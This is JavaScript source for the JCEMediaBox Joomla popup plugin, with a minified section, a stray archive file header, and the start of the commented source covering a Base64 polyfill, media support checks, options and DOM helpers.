DOM.addClass(this.content,"broken-media");this.active.type="media",this.setup();break;case"ajax":case"text/html":case"text/xml":this.print&&this.options.print&&(this.print.style.visibility="visible"),this.active.width=this.active.width||this.width(),this.active.height=this.active.height||this.height(),this.islocal(this.active.src)?(/tmpl=component/i.test(this.active.src)||(this.active.src+=/\?/.test(this.active.src)?"&tmpl=component":"?tmpl=component"),this.active.type="ajax"):(this.active.type="iframe",this.setup()),styles=extend(this.styles(p.styles),{display:"none"}),this.active.src=this.active.src.replace(/\&type=(ajax|text\/html|text\/xml)/,""),this.loader&&DOM.show(this.loader);var iframe=DOM.add(document.body,"iframe",{src:this.active.src,style:"display:none;"});Event.add(iframe,"load",function(){return t.ajax=DOM.add(t.content,"div",{id:"jcemediabox-popup-ajax",style:styles}),t.ajax.innerHTML=iframe.contentWindow.document.body.innerHTML,JCEMediaBox.isIE6&&DOM.style(t.ajax,"margin-right",JCEMediaBox.Dimensions.getScrollbarWidth()),JCEMediaBox.isIE7&&DOM.style(t.ajax,"padding-right",JCEMediaBox.Dimensions.getScrollbarWidth()),window.setTimeout(function(){DOM.remove(iframe)},10),t.create(t.getPopups("",t.content)),JCEMediaBox.ToolTip.create(t.content),t.setup()}),iframe.onerror=function(){return DOM.addClass(this.content,"broken-page"),t.setup()};break;case"iframe":case"pdf":case"video/youtube":case"video/vimeo":default:if(JCEMediaBox.isMobile&&"pdf"===this.active.type)return this.close(),window.open(this.active.src);this.print&&(this.print.style.visibility="hidden"),this.islocal(this.active.src)&&(/tmpl=component/i.test(this.active.src)||/\.pdf\b/i.test(this.active.src)||(this.active.src+=/\?/.test(this.active.src)?"&tmpl=component":"?tmpl=component")),this.active.src=this.protocolRelative(this.active.src),this.active.width=this.active.width||this.width(),this.active.height=this.active.height||this.height(),this.active.type="iframe",this.setup()}return!1},resize:function(w,h,x,y){return w>x?(h*=x/w,w=x,h>y&&(w*=y/h,h=y)):h>y&&(w*=y/h,h=y,w>x&&(h*=x/w,w=x)),w=Math.round(w),h=Math.round(h),{width:Math.round(w),height:Math.round(h)}},setup:function(){var w,h,t=this,DOM=JCEMediaBox.DOM,o=JCEMediaBox.options.popup;if(w=this.active.width,h=this.active.height,this.info(),"image"==this.active.type){t.img.error&&(w=300,h=300);var x=this.img.width,y=this.img.height;w&&!h?h=y*(w/x):!w&&h&&(w=x*(h/y)),w=w||x,h=h||y}if(1===parseInt(o.resize)||0===parseInt(o.resize)&&"fixed"==o.scrolling){var x=this.width(),y=this.height(),dim=this.resize(w,h,x,y);w=dim.width,h=dim.height}if(DOM.styles(this.content,{width:w,height:h}),DOM.hide(this.content),"image"==this.active.type&&(this.img.error?DOM.addClass(this.content,"broken-image"):this.content.innerHTML='<img id="jcemediabox-popup-img" src="'+this.active.src+'" title="'+this.active.title+'" />',JCEMediaBox.isIE)){var img=DOM.get("jcemediabox-popup-img");img&&DOM.style(img,"-ms-interpolation-mode","bicubic")}return this.animate()},showInfo:function(){var t=this,each=JCEMediaBox.each,DOM=JCEMediaBox.DOM,FX=JCEMediaBox.FX,DIM=JCEMediaBox.Dimensions,ss=(JCEMediaBox.Event,JCEMediaBox.options.popup.scalespeed),itop=(JCEMediaBox.options.popup.fadespeed,t["info-top"]);if(itop){each(DOM.select("*[id]",itop),function(el){/jcemediabox-popup-(next|prev)/.test(DOM.attribute(el,"id"))||DOM.show(el)});var h=DIM.outerHeight(itop);DOM.styles(itop,{"z-index":-1,top:h,visibility:"visible"}),FX.animate(itop,{top:0},ss)}t.closelink&&DOM.show(t.closelink);var ibottom=t["info-bottom"];if(ibottom){each(DOM.select("*[id]",ibottom),function(el){/jcemediabox-popup-(next|prev)/.test(DOM.attribute(el,"id"))||DOM.show(el)});var h=DIM.outerHeight(ibottom);DOM.styles(ibottom,{"z-index":-1,top:-h,visibility:"visible"}),FX.animate(ibottom,{top:0},ss)}},animate:function(){var t=this,each=JCEMediaBox.each,DOM=JCEMediaBox.DOM,FX=JCEMediaBox.FX,DIM=JCEMediaBox.Dimensions,ss=(JCEMediaBox.Event,JCEMediaBox.options.popup.scalespeed),fs=JCEMediaBox.options.popup.fadespeed,cw=DIM.outerWidth(this.content),ch=DIM.outerHeight(this.content),ih=0;each(["top","bottom"],function(v,i){var el=t["info-"+v];el&&(ih+=DIM.outerHeight(el))});var st="fixed"==DOM.style(this.page,"position")?0:DIM.getScrollTop(),top=st+this.frameHeight()/2-(ch+ih)/2;top<0&&(top=0),DOM.style(this.content,"opacity",0),FX.animate(this.body,{height:ch,top:top,width:cw},ss,function(){if("iframe"==t.active.type){var iframe=DOM.add(t.content,"iframe",{id:"jcemediabox-popup-iframe",frameborder:0,allowTransparency:!0,allowfullscreen:!0,scrolling:t.active.params.scrolling||"auto",width:"100%",height:"100%"});if(/\.pdf\b/.test(t.active.src))t.loader&&DOM.hide(t.loader);else{var _timer,win=iframe.contentWindow,doc=win.document;JCEMediaBox.isiOS&&JCEMediaBox.isWebKit&&(_timer=setInterval(function(){"complete"===doc.readyState&&(clearInterval(_timer),t.loader&&DOM.hide(t.loader))},1e3)),iframe.onload=function(){_timer&&clearInterval(_timer),t.loader&&DOM.hide(t.loader)}}iframe.setAttribute("src",t.active.src),t.iframe=iframe}else t.loader&&DOM.hide(t.loader),"media"==t.active.type&&t.object&&(t.content.innerHTML=t.object,/\.pdf\b/.test(t.active.src)&&JCEMediaBox.isiOS&&DOM.styles(DOM.get("jcemediabox-popup-object"),{height:"1000%",width:"150%"})),"ajax"==t.active.type&&DOM.show(t.ajax);DOM.show(t.content),t.content.focus(),"image"!=t.active.type||JCEMediaBox.isIE6?(DOM.style(t.content,"opacity",1),t.showInfo()):FX.animate(t.content,{opacity:1},fs,function(){t.showInfo()})})},close:function(keepopen){var t=this,each=JCEMediaBox.each,DOM=JCEMediaBox.DOM;JCEMediaBox.Dimensions,JCEMediaBox.FX,JCEMediaBox.options.popup.scalespeed;if(this.iframe&&DOM.attribute(this.iframe,"src",""),each(["img","object","iframe","ajax"],function(i,v){t[v]&&DOM.remove(t[v]),t[v]=null}),this.closelink&&DOM.hide(this.closelink),this.content.innerHTML="",!keepopen){each(["top","bottom"],function(v,i){var el=t["info-"+v];el&&DOM.hide(el)});for(var popups=this.getPopups();this.popups.length>popups.length;)this.popups.pop();DOM.remove(this.frame),this.overlay?JCEMediaBox.isIE6?(this.bind(),DOM.remove(this.page),this.page=null):JCEMediaBox.FX.animate(this.overlay,{opacity:0},JCEMediaBox.options.popup.fadespeed,function(){t.bind(),DOM.remove(t.page),t.page=null}):(DOM.remove(this.page),this.page=null)}return!1}}}(window),JCEMediaBox.Event.addUnload(function(){JCEMediaBox.Event.destroy()}),function(mediabox,undefined){if(mediabox!==undefined){var popup=mediabox.Popup,trim=mediabox.trim;popup.setAddons("flash",{flash:function(v){if(/\.swf\b/i.test(v))return{type:"flash"}},flv:function(v){if(/\.(flv|f4v)\b/i.test(v))return{type:"video/x-flv"}},metacafe:function(v){if(/metacafe(.+)\/(watch|fplayer)\/(.+)/.test(v)){var s=trim(v);return/\.swf/i.test(s)||("/"==s.charAt(s.length-1)&&(s=s.substring(0,s.length-1)),s+=".swf"),{width:400,height:345,type:"flash",attributes:{wmode:"opaque",src:s.replace(/watch/i,"fplayer")}}}},dailymotion:function(v){if(/dailymotion(.+)\/(swf|video)\//.test(v)){var s=trim(v);return s=s.replace(/_(.*)/,""),{width:420,height:339,type:"flash",wmode:"opaque",src:s.replace(/video/i,"swf")}}},googlevideo:function(v){if(/google(.+)\/(videoplay|googleplayer\.swf)\?docid=(.+)/.test(v))return{width:425,height:326,type:"flash",id:"VideoPlayback",wmode:"opaque",src:v.replace(/videoplay/g,"googleplayer.swf")}}}),popup.setAddons("iframe",{youtube:function(v){if(/youtu(\.)?be([^\/]+)?\/(.+)/.test(v))return{width:425,height:350,type:"iframe",src:v.replace(/youtu(\.)?be([^\/]+)?\/(.+)/,function(a,b,c,d){var k,query="";if(/watch\?/.test(d)){d=d.replace(/watch\?/,"");var args=JCEMediaBox.Popup.params(d);query+=args.v,delete args.v;for(k in args)query+=(/\?/.test(query)?"&":"?")+k+"="+args[k]}else query=d.replace(/embed\//,"");return b&&!c&&(c=".com"),/wmode/.test(query)||(query+=/\?/.test(query)?"&wmode=opaque":"?wmode=opaque"),"youtube"+c+"/embed/"+query}).replace(/\/\/youtube/i,"//www.youtube")}},vimeo:function(v){if(/vimeo\.com\/(video\/)?([0-9]+)/.test(v))return{width:400,height:225,type:"iframe",src:v.replace(/(player\.)?vimeo\.com\/(video\/)?([0-9]+)/,function(a,b,c,d){return b?a:"player.vimeo.com/video/"+d})}},twitvid:function(v){if(/twitvid(.+)\/(.+)/.test(v)){var s="http://www.twitvid.com/embed.php?guid=";return{width:480,height:360,type:"iframe",src:v.replace(/(.+)twitvid([^\/]+)\/(.+)/,function(a,b,c,d){return/embed\.php/.test(d)?a:s+d})}}},word:function(v){if(/\.(doc|docx|xls|xlsx|ppt|pptx)$/i.test(v)){var src=v;return mediabox.options.popup.google_viewer&&(/:\/\//.test(v)||(v=mediabox.site+v.replace("?tmpl=component","")),src="//docs.google.com/viewer?url="+encodeURIComponent(v)+"&embedded=true"),{type:"iframe",src:src}}}}),popup.setAddons("image",{image:function(v){if(v=v.split("?")[0],/\.(jpg|jpeg|png|gif|bmp|tif)$/i.test(v))return{type:"image"}},twitpic:function(v){if(/twitpic(.+)\/(.+)/.test(v))return{type:"image"}}}),popup.setAddons("pdf",{pdf:function(v){if(/\.(pdf)$/i.test(v)){var type="pdf",src=/\?#/.test(v)?v+"&view=fitH":v+"#view=fitH";return mediabox.options.popup.google_viewer&&(type="iframe",/:\/\//.test(v)||(v=mediabox.site+v.replace("?tmpl=component","")),src="//docs.google.com/viewer?url="+encodeURIComponent(v)+"&embedded=true"),{type:type,src:src}}}})}}(JCEMediaBox);PK�(]�:N9O9O(system/jcemediabox/js/jcemediabox-src.jsnu�[���/**
 * JCEMediaBox 		1.2
 * @package 		JCEMediaBox
 * @url				http://www.joomlacontenteditor.net
 * @copyright 		Copyright (C) 2006 - 2015 Ryan Demmer. All rights reserved
 * @copyright		Copyright 2009, Moxiecode Systems AB
 * @license 		GNU/GPL Version 2 - http://www.gnu.org/licenses/gpl-2.0.html
 * @date			24 November 2015
 * This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 *
 */
(function (window) {
    /**
     *
     *  Base64 encode / decode
     *  http://www.webtoolkit.info/
     *
     **/
    var Base64 = {
        // private property
        _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
        // public method for encoding
        encode: function (input) {
            var output = "";
            var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
            var i = 0;

            input = Base64._utf8_encode(input);

            while (i < input.length) {

                chr1 = input.charCodeAt(i++);
                chr2 = input.charCodeAt(i++);
                chr3 = input.charCodeAt(i++);

                enc1 = chr1 >> 2;
                enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
                enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
                enc4 = chr3 & 63;

                if (isNaN(chr2)) {
                    enc3 = enc4 = 64;
                } else if (isNaN(chr3)) {
                    enc4 = 64;
                }

                output = output +
                        Base64._keyStr.charAt(enc1) + Base64._keyStr.charAt(enc2) +
                        Base64._keyStr.charAt(enc3) + Base64._keyStr.charAt(enc4);

            }

            return output;
        },
        // public method for decoding
        decode: function (input) {
            var output = "";
            var chr1, chr2, chr3;
            var enc1, enc2, enc3, enc4;
            var i = 0;

            input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");

            while (i < input.length) {

                enc1 = Base64._keyStr.indexOf(input.charAt(i++));
                enc2 = Base64._keyStr.indexOf(input.charAt(i++));
                enc3 = Base64._keyStr.indexOf(input.charAt(i++));
                enc4 = Base64._keyStr.indexOf(input.charAt(i++));

                chr1 = (enc1 << 2) | (enc2 >> 4);
                chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
                chr3 = ((enc3 & 3) << 6) | enc4;

                output = output + String.fromCharCode(chr1);

                if (enc3 != 64) {
                    output = output + String.fromCharCode(chr2);
                }
                if (enc4 != 64) {
                    output = output + String.fromCharCode(chr3);
                }

            }

            output = Base64._utf8_decode(output);

            return output;

        },
        // private method for UTF-8 encoding
        _utf8_encode: function (string) {
            string = string.replace(/\r\n/g, "\n");
            var utftext = "";

            for (var n = 0; n < string.length; n++) {

                var c = string.charCodeAt(n);

                if (c < 128) {
                    utftext += String.fromCharCode(c);
                }
                else if ((c > 127) && (c < 2048)) {
                    utftext += String.fromCharCode((c >> 6) | 192);
                    utftext += String.fromCharCode((c & 63) | 128);
                }
                else {
                    utftext += String.fromCharCode((c >> 12) | 224);
                    utftext += String.fromCharCode(((c >> 6) & 63) | 128);
                    utftext += String.fromCharCode((c & 63) | 128);
                }

            }

            return utftext;
        },
        // private method for UTF-8 decoding
        _utf8_decode: function (utftext) {
            var string = "";
            var i = 0;
            var c = 0, c1 = 0, c2 = 0;

            while (i < utftext.length) {

                c = utftext.charCodeAt(i);

                if (c < 128) {
                    string += String.fromCharCode(c);
                    i++;
                }
                else if ((c > 191) && (c < 224)) {
                    c1 = utftext.charCodeAt(i + 1);
                    string += String.fromCharCode(((c & 31) << 6) | (c1 & 63));
                    i += 2;
                }
                else {
                    c1 = utftext.charCodeAt(i + 1);
                    c2 = utftext.charCodeAt(i + 2);
                    string += String.fromCharCode(((c & 15) << 12) | ((c1 & 63) << 6) | (c2 & 63));
                    i += 3;
                }

            }
            return string;
        }
    };

    // patch in btoa
    if (!window.btoa) {
        window.btoa = Base64.encode;
    }
    // patch in atob
    if (!window.atob) {
        window.atob = Base64.decode;
    }

    // html5 element support
    var support = {};

    /*
     * From Modernizr v2.0.6
     * http://www.modernizr.com
     * Copyright (c) 2009-2011 Faruk Ates, Paul Irish, Alex Sexton
     */
    support.video = (function () {
        var elem = document.createElement('video'), bool = false;

        // IE9 Running on Windows Server SKU can cause an exception to be thrown, bug #224
        try {
            if (bool = !!elem.canPlayType) {
                bool = new Boolean(bool);
                bool.ogg = elem.canPlayType('video/ogg; codecs="theora"').replace(/^no$/, '');

                // Without QuickTime, this value will be `undefined`. github.com/Modernizr/Modernizr/issues/546
                bool.h264 = elem.canPlayType('video/mp4; codecs="avc1.42E01E"').replace(/^no$/, '');

                bool.webm = elem.canPlayType('video/webm; codecs="vp8, vorbis"').replace(/^no$/, '');
            }

        } catch (e) {
        }

        return bool;
    })();

    var entities = {
        '\"': '&quot;',
        "'": '&#39;',
        '<': '&lt;',
        '>': '&gt;',
        '&': '&amp;'
    };

    /*
     * From Modernizr v2.0.6
     * http://www.modernizr.com
     * Copyright (c) 2009-2011 Faruk Ates, Paul Irish, Alex Sexton
     */
    support.audio = (function () {
        var elem = document.createElement('audio'), bool = false;

        try {
            if (bool = !!elem.canPlayType) {
                bool = new Boolean(bool);
                bool.ogg = elem.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/, '');
                bool.mp3 = elem.canPlayType('audio/mpeg;').replace(/^no$/, '');

                // Mimetypes accepted:
                //   developer.mozilla.org/En/Media_formats_supported_by_the_audio_and_video_elements
                //   bit.ly/iphoneoscodecs
                bool.wav = elem.canPlayType('audio/wav; codecs="1"').replace(/^no$/, '');
                bool.m4a = (elem.canPlayType('audio/x-m4a;') ||
                        elem.canPlayType('audio/aac;')).replace(/^no$/, '');
            }
        } catch (e) {
        }

        return bool;
    })();

    window.JCEMediaBox = {
        domLoaded: false,
        /**
         * Global Options Object
         */
        options: {
            popup: {
                width: '',
                height: '',
                legacy: 0,
                lightbox: 0,
                shadowbox: 0,
                overlay: 1,
                overlayopacity: 0.8,
                overlaycolor: '#000000',
                resize: 0,
                icons: 1,
                fadespeed: 500,
                scalespeed: 500,
                hideobjects: 1,
                scrolling: 'fixed',
                //protect				: 1,
                close: 2,
                labels: {
                    'close': 'Close',
                    'next': 'Next',
                    'previous': 'Previous',
                    'numbers': '{$current} of {$total}',
                    'cancel': 'Cancel'
                },
                cookie_expiry: 7,
                google_viewer: 0,
                pdfjs: 0
            },
            tooltip: {
                speed: 150,
                offsets: {
                    x: 16,
                    y: 16
                },
                position: 'br',
                opacity: 0.8,
                background: '#000000',
                color: '#ffffff'
            },
            base: '/',
            pngfix: false,
            pngfixclass: '',
            theme: 'standard',
            imgpath: 'plugins/system/jcemediabox/img',
            mediafallback: false,
            mediaplayer: "",
            mediaselector: "audio,video"
        },
        init: function (options) {
            this.extend(this.options, options);
            // Clear IE6 background cache
            if (this.isIE6) {
                try {
                    document.execCommand("BackgroundImageCache", false, true);
                } catch (e) {
                }
            }
            // add DOM support for IE < 9
            if (!support.video || !support.audio) {
                document.createElement('source');
            }

            this.ready();
        },
        /**
         * Function to determine if DOM is ready.
         * Based on JQuery ready.js - https://github.com/jquery/jquery/blob/1.11-stable/src/core/ready.js
         * Copyright 2005, 2014 jQuery Foundation, Inc. and other contributors
         * Released under the MIT license
         * http://jquery.org/license
         */
        ready: function () {
            var win = window, doc = win.document, self = JCEMediaBox;

            if (self.domLoaded) {
                return self._init();
            }

            /**
             * Clean-up method for dom ready events
             */
            function detach() {
                if (doc.addEventListener) {
                    doc.removeEventListener("DOMContentLoaded", completed, false);
                    win.removeEventListener("load", completed, false);

                } else {
                    doc.detachEvent("onreadystatechange", completed);
                    win.detachEvent("onload", completed);
                }
            }

            /**
             * The ready event handler and self cleanup method
             */
            function completed(event) {
                // readyState === "complete" is good enough for us to call the dom ready in oldIE
                //if (doc.addEventListener || event && event.type === "load" || doc.readyState === "complete") {
                    detach();

                    self.domLoaded = true;

                    self._init();
                //}
            }

            if (doc.readyState === "complete") {
                // Handle it asynchronously to allow scripts the opportunity to delay ready
                setTimeout(completed);

                // Standards-based browsers support DOMContentLoaded
            } else if (doc.addEventListener) {
                // Use the handy event callback
                doc.addEventListener("DOMContentLoaded", completed, false);

                // A fallback to window.onload, that will always work
                win.addEventListener("load", completed, false);

                // If IE event model is used
            } else {
                // Ensure firing before onload, maybe late but safe also for iframes
                doc.attachEvent("onreadystatechange", completed);

                // A fallback to window.onload, that will always work
                win.attachEvent("onload", completed);

                // If IE and not a frame
                // continually check to see if the document is ready
                var top = false;

                try {
                    top = win.frameElement == null && doc.documentElement;
                } catch (e) {
                }

                if (top && top.doScroll) {
                    (function doScrollCheck() {
                        if (!self.domLoaded) {

                            try {
                                // Use the trick by Diego Perini
                                // http://javascript.nwbox.com/IEContentLoaded/
                                top.doScroll("left");
                            } catch (e) {
                                return setTimeout(doScrollCheck, 50);
                            }

                            // and execute any waiting functions
                            completed();
                        }
                    })();
                }
            }
        },
        /**
         * Get the Site Base URL
         * @method getSite
         * @return {String} Site Base URL
         */
        getSite: function () {
            var base = this.options.base;

            if (base) {
                // Get document location
                var site = document.location.href;
                // Split into port (http) and location
                var parts = site.split(':\/\/');

                var port = parts[0];
                var url = parts[1];

                // Get url part before base
                if (url.indexOf(base) != -1) {
                    url = url.substr(0, url.indexOf(base));
                    // Get url part before first slash
                } else {
                    url = url.substr(0, url.indexOf('/')) || url;
                }
                // Return full url
                return port + '://' + url + base;
            }
            // Can't get site URL!
            return null;
        },
        /**
         * Private internal function
         * Initialize JCEMediaBox
         */
        _init: function () {
            var self = this, na = navigator, ua = na.userAgent;

            /**
             * Constant that is true if the browser is Opera.
             *
             * @property isOpera
             * @type Boolean
             * @final
             */
            self.isOpera = window.opera && opera.buildNumber;

            /**
             * Constant that is true if the browser is WebKit (Safari/Chrome).
             *
             * @property isWebKit
             * @type Boolean
             * @final
             */
            self.isWebKit = /WebKit/.test(ua);

            self.isChrome = /Chrome\//.test(ua);

            self.isSafari = /Safari\//.test(ua);

            /**
             * Constant that is true if the browser is IE.
             *
             * @property isIE
             * @type Boolean
             * @final
             */
            self.isIE = !self.isWebKit && !self.isOpera && (/MSIE/gi).test(ua) && (/Explorer/gi).test(na.appName) && !!window.ActiveXObject;

            /**
             * Constant that is true if the browser is IE 6 or older.
             *
             * @property isIE6
             * @type Boolean
             * @final
             */
            self.isIE6 = self.isIE && /MSIE [56]/.test(ua) && !window.XMLHttpRequest;

            /**
             * Constant that is true if the browser is IE 7.
             *
             * @property isIE7
             * @type Boolean
             * @final
             */
            self.isIE7 = self.isIE && /MSIE [7]/.test(ua) && !!window.XMLHttpRequest && !document.querySelector;

            /**
             * Constant that tells if the current browser is an iPhone or iPad.
             *
             * @property isiOS
             * @type Boolean
             * @final
             */
            self.isiOS = /(iPad|iPhone)/.test(ua);

            self.isAndroid = /Android/.test(ua);

            self.isMobile = self.isiOS || self.isAndroid;

            /**
             * Get the Site URL
             * @property site
             * @type String
             */
            this.site = this.getSite();

            // Can't get reliable site URL
            if (!this.site) {
                return false;
            }

            // Initialize Popup / Tooltip creation
            this.Popup.init();
            this.ToolTip.init();

            if (this.options.mediafallback) {
                this.mediaFallback();
            }
        },

        mediaFallback: function() {
            var self = this, DOM = this.DOM, each = this.each;

            function toAbsolute(url) {
                var div = document.createElement('div');
                div.innerHTML = '<a href="' + url + '">x</a>';

                return div.firstChild.href;
            }

            function resolveMediaPath(s, absolute) {
                if (s && s.indexOf('://') === -1 && s.charAt(0) !== '/') {
                    s = self.options.base + s;
                }

                if (absolute) {
                    return toAbsolute(s);
                }

                return s;
            }

            // process video
            var selector    = this.options.mediaselector;
            var elms        = DOM.select(selector);
            var swf         = this.options.mediaplayer || 'plugins/system/jcemediabox/mediaplayer/mediaplayer.swf';

            var supportMap = {
                'video': {
                    'h264' : ['video/mp4', 'video/mpeg'],
                    'webm' : ['video/webm'],
                    'ogg'  : ['video/ogg']
                },
                'audio': {
                    'mp3'   : ['audio/mp3'],
                    'ogg'   : ['audio/ogg'],
                    'webm'  : ['audio/webm']
                }
            };

            function checkSupport(name, type) {
                var hasSupport = false;

                for (var n in supportMap[name]) {
                    if (supportMap[name][n].indexOf(type) !== -1) {
                        hasSupport = support[name] && !!support[name][n];
                    }
                }

                return hasSupport;
            }

            if (elms.length) {
                each(elms, function(el) {
                    var type = el.getAttribute('type'), src = el.getAttribute('src'), name = el.nodeName.toLowerCase(), hasSupport = false;

                    // no src attribute set, try finding in <source>
                    if (!src || !type) {
                        var source = DOM.select('source[type]', el);

                        each(source, function(n) {
                            src = n.getAttribute('src'), type = n.getAttribute('type');

                            // video/x-flv not supported by any browser
                            if (type !== "video/x-flv") {
                                hasSupport = checkSupport(name, type);
                            }

                            if (!hasSupport) {
                                return false;
                            }
                        });

                        // check for flv fallback
                        if (!hasSupport && name === "video") {
                            source = DOM.select('source[type="video/x-flv"]', el);

                            if (source.length) {
                                src = source[0].getAttribute('src'), type = "video/x-flv";
                            }
                        }
                    } else {
                        hasSupport = checkSupport(name, type);
                    }

                    // can't do anything without these!
                    if (!src || !type) {
                        return;
                    }

                    // native audio/video support (exclude flv)
                    if (hasSupport) {
                        return;
                    }

                    var w = el.getAttribute('width'), h = el.getAttribute('height');
                    var html = '', flashvars = [];

                    // not custom player
                    if (!self.options.mediaplayer) {
                        flashvars.push('file=' + resolveMediaPath(src, true));
                    }

                    self.each(['autoplay', 'loop', 'preload', 'controls'], function(at) {
                        var v = el.getAttribute(at);

                        if (typeof v !== "undefined" && v !== null) {
                            if (v === at) {
                                v = true;
                            }

                            flashvars.push(at + '=' + v);
                        }

                    });

                    var i, attrs = el.attributes;

                    for (i = attrs.length - 1; i >= 0; i--) {
                        var attrName = attrs[i].name;
                        if (attrName && (attrName.indexOf('data-video-') !== -1 || attrName.indexOf('data-audio-') !== -1)) {
                            var name = attrName.replace(/data-(video|audio)-/i, '');
                            var value = attrs[i].value;

                            if (typeof value !== "undefined" || value !== null) {
                                flashvars.push(name + '=' + value);
                            }
                        }
                    }

                    html += '<object class="wf-mediaplayer-object" data="' + resolveMediaPath(swf) + '" type="application/x-shockwave-flash"';

                    if (w) {
                        html += ' width="' + w + '"';
                    }

                    if (h) {
                        html += ' height="' + h + '"';
                    }

                    html += '>';

                    html += '<param name="movie" value="' + resolveMediaPath(swf) + '" />';
                    html += '<param name="flashvars" value="' + flashvars.join('&') + '" />';
                    html += '<param name="allowfullscreen" value="true" />';
                    html += '<param name="wmode" value="transparent" />';

                    var poster = el.getAttribute('poster');

                    if (poster) {
                        html += '<img src="' + resolveMediaPath(poster) + '" alt="" />';
                    }

                    html += '<i>Flash is required to play this video. <a href="https://get.adobe.com/flashplayer" target="_blank">Get Adobe® Flash Player</a></i>';
                    html += '</object>';

                    var div = document.createElement('span');
                    div.innerHTML = html;

                    var o = div.firstChild;

                    if (o && o.nodeName === "OBJECT") {
                        el.parentNode.replaceChild(o, el);

                        if (poster) {
                            o.style.backgroundImage = "url('" + resolveMediaPath(poster) + "')";
                        }
                    }
                });
            }
        },

        /**
         * Performs an iteration of all items in a collection such as an object or array. This method will execure the
         * callback function for each item in the collection, if the callback returns false the iteration will terminate.
         * The callback has the following format: cb(value, key_or_index).
         *
         * @method each
         * @param {Object} o Collection to iterate.
         * @param {function} cb Callback function to execute for each item.
         * @param {Object} s Optional scope to execute the callback in.
         * @copyright	Copyright 2009, Moxiecode Systems AB
         */
        each: function (o, cb, s) {
            var n, l;

            if (!o) {
                return 0;
            }

            s = s || o;

            if (o.length !== undefined) {
                // Indexed arrays, needed for Safari
                for (n = 0, l = o.length; n < l; n++) {
                    if (cb.call(s, o[n], n, o) === false) {
                        break;
                    }
                }
            } else {
                // Hashtables
                for (n in o) {
                    if (o.hasOwnProperty(n)) {
                        if (cb.call(s, o[n], n, o) === false) {
                            break;
                        }
                    }
                }
            }

            return o;
        },
        /**
         * Extends an object with the specified other object(s).
         *
         * @method extend
         * @param {Object} o Object to extend with new items.
         * @param {Object} e..n Object(s) to extend the specified object with.
         * @return {Object} o New extended object, same reference as the input object.
         * @copyright	Copyright 2009, Moxiecode Systems AB
         */
        extend: function (obj, ext) {
            var i, l, name, args = arguments, value;

            for (i = 1, l = args.length; i < l; i++) {
                ext = args[i];
                for (name in ext) {
                    if (ext.hasOwnProperty(name)) {
                        value = ext[name];

                        if (value !== undefined) {
                            obj[name] = value;
                        }
                    }
                }
            }

            return obj;
        },
        /**
         * Removes whitespace from the beginning and end of a string.
         *
         * @method trim
         * @param {String} s String to remove whitespace from.
         * @return {String} New string with removed whitespace.
         * @copyright	Copyright 2009, Moxiecode Systems AB
         */
        trim: function (s) {
            return (s ? '' + s : '').replace(/^\s*|\s*$/g, '');
        },
        /**
         * Find index of item in array
         * @param {array} a Array to look in
         * @param {mixed} s Item to find
         * @return {Number, i} Index
         */
        inArray: function (a, s) {
            var i, l;

            if (a) {
                for (i = 0, l = a.length; i < l; i++) {
                    if (a[i] === s) {
                        return i;
                    }
                }
            }

            return -1;
        },
        /**
         * DOM functions
         */
        DOM: {
            /**
             * Get an Element by ID
             * @param {Object} s ID
             */
            get: function (s) {
                if (typeof (s) == 'string')
                    return document.getElementById(s);

                return s;
            },
            /**
             * Return elements matching a simple selector, eg: a, a[id], a.classname
             * @param {Object} o Selector
             * @param {Object} p Parent Element
             */
            select: function (o, p) {
                var t = this, r = [], s, parts, at, tag, cl, each = JCEMediaBox.each;
                p = p || document;
                // Return all elements
                if (o == '*') {
                    return p.getElementsByTagName(o);
                }

                // Use native support if available
                if (p.querySelectorAll) {
                    return p.querySelectorAll(o);
                }

                /**
                 * Internal inArray function
                 * @param {Object} a Array to check
                 * @param {Object} s Key to check for
                 */
                function inArray(a, v) {
                    var i, l;

                    if (a) {
                        for (i = 0, l = a.length; i < l; i++) {
                            if (a[i] === v)
                                return true;
                        }
                    }

                    return false;
                }

                // Split selector
                s = o.split(',');
                each(s, function (selectors) {
                    parts = JCEMediaBox.trim(selectors).split('.');
                    // Element
                    tag = parts[0] || '*';
                    // Class
                    cl = parts[1] || '';
                    // Handle attributes
                    if (/\[(.*?)\]/.test(tag)) {
                        tag = tag.replace(/(.*?)\[(.*?)\]/, function (a, b, c) {
                            at = c;
                            return b;
                        });

                    }
                    // Get all elements for the given parent and tag
                    var elements = p.getElementsByTagName(tag);

                    // If class or attribute
                    if (cl || at) {
                        each(elements, function (el) {
                            // If class
                            if (cl) {
                                if (t.hasClass(el, cl)) {
                                    if (!inArray(r, el)) {
                                        r.push(el);
                                    }
                                }
                            }
                            // If attribute
                            if (at) {
                                if (el.getAttribute(at)) {
                                    if (!inArray(r, el)) {
                                        r.push(el);
                                    }
                                }
                            }
                        });

                    } else {
                        r = elements;
                    }
                });

                return r;
            },
            /**
             * Check if an element has a specific class
             * @param {Object} el Element
             * @param {Object} c Class
             */
            hasClass: function (el, c) {
                return new RegExp(c).test(el.className);
            },
            /**
             * Add a class to an element
             * @param {Object} el Element
             * @param {Object} c Class
             */
            addClass: function (el, c) {
                if (!this.hasClass(el, c)) {
                    el.className = JCEMediaBox.trim(el.className + ' ' + c);
                }
            },
            /**
             * Remove a class from an element
             * @param {Object} el Element
             * @param {Object} c Class to remove
             */
            removeClass: function (el, c) {
                if (this.hasClass(el, c)) {
                    var s = el.className;
                    var re = new RegExp("(^|\\s+)" + c + "(\\s+|$)", "g");
                    var v = s.replace(re, ' ');
                    v = v.replace(/^\s|\s$/g, '');
                    el.className = v;
                }
            },
            /**
             * Show an element
             * @param {Object} el Element to show
             */
            show: function (el) {
                el.style.display = 'block';
            },
            /**
             * Hide and element
             * @param {Object} el Element to hide
             */
            hide: function (el) {
                el.style.display = 'none';
            },
            /**
             * Remove an element or attribute
             * @param {Object} el Element
             * @param {String} attrib Attribute
             */
            remove: function (el, attrib) {
                if (attrib) {
                    el.removeAttribute(attrib);
                } else {
                    var p = el.parentNode || document.body;
                    p.removeChild(el);
                }
            },
            /**
             * Set or retrieve a style
             * @param {Object} el Target Element
